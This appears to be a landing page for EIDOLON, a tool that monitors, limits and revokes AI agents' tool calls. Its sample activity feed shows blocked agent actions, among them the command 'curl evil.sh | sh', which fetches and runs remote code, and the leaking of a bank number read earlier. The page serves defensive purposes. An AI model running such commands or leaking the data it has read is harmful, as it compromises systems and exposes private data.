▓█████  ██▓▓█████▄  ▒█████   ██▓     ▒█████   ███▄    █
▓█   ▀ ▓██▒▒██▀ ██▌▒██▒  ██▒▓██▒    ▒██▒  ██▒ ██ ▀█   █
▒███   ▒██▒░██   █▌▒██░  ██▒▒██░    ▒██░  ██▒▓██  ▀█ ██▒
▒▓█  ▄ ░██░░▓█▄   ▌▒██   ██░▒██░    ▒██   ██░▓██▒  ▐▌██▒
░▒████▒░██░░▒████▓ ░ ████▓▒░░██████▒░ ████▓▒░▒██░   ▓██░
░░ ▒░ ░░▓   ▒▒▓  ▒ ░ ▒░▒░▒░ ░ ▒░▓  ░░ ▒░▒░▒░ ░ ▒░   ▒ ▒

YOUR AGENT.
SEEN. BOUNDED. REVOCABLE.

AI agents act with your authority and none of your restraint. EIDOLON is the layer in between: watch every tool call live, delegate exactly the authority you choose, and kill it mid-session — all cryptographically enforced, every action on a tamper-evident ledger.
no signup needed: watch VERSUS mode — your agent vs the attack.
…
ACTIONS GOVERNED
…
ATTACKS BLOCKED
…
AGENTS ENROLLED

WHAT YOU SEE WHEN YOUR AGENT MOVES

ACTread_file · src/app.py— routine, attested
ACTrun_tests · 42 passed— routine, attested
HELDsend_email · to: client@corp.com— drafted, waiting for you
DENYpost_status · "…IBAN DE89 3704…"— exfiltration of a value read 3 calls ago
DENYwire_funds · $250,000— excluded: financial-commitment
KILLEDrun_shell · curl evil.sh | sh— you pressed the red button

LEVEL SELECT — CONNECT IN 3 MOVES

LEVEL 1 · ENROLL

Press start, name your agent, pick the authority you delegate. That's the whole config — a signed, revocable credential is minted underneath.

LEVEL 2 · WRAP

Point your agent at the gateway instead of its raw tools. Claude Code, Hermes, Cursor, anything MCP — zero agent changes. Claude Code can also govern its built-in Bash/Edit/Read via a drop-in hook — every action, not just MCP.

python -m eidolon.gateway --config gateway.yaml \ -- npx -y @modelcontextprotocol/server-filesystem .
LEVEL 3 · WATCH

Open mission control. Your agent's actions stream live — green flows, amber waits for your approval, red never happened. The red button is yours.

AUTONOMY IS EARNED, NOT ASSUMED

OBSERVER
reads & answers. everything else held.
DRAFTER
+ drafts & status. commits escalate.
OPERATIVE
acts on routine work. exclusions still bite.
AUTONOMOUS
earned by surviving adversarial certification.

Boss fight included: agents level up only by containing fresh attacks, round after round. Losing a round drops the ceiling.

Ed25519 signed delegations TLA+ machine-checked gate 96% injections contained · 0% benign broken (AgentDojo) ~1ms decision p95 hash-chained attestation ledger

★ CREDITS ★

the two-player co-op behind EIDOLON
PLAYER 1 — CREATOR
GEGANE
Built EIDOLON — the cryptographic authority layer that lets you see, bound, and revoke an AI agent mid-session. Default-deny, attest-then-act, on a leash you hold.
▶ play VERSUS · source
PLAYER 2 — POWERED BY
L33TDAWG · SAGE
SAGE is the BFT-consensus substrate EIDOLON's attestation ledger rides on — hash-chained, tamper-evident memory for agents. The gate stands on it.
github.com/l33tdawg/sage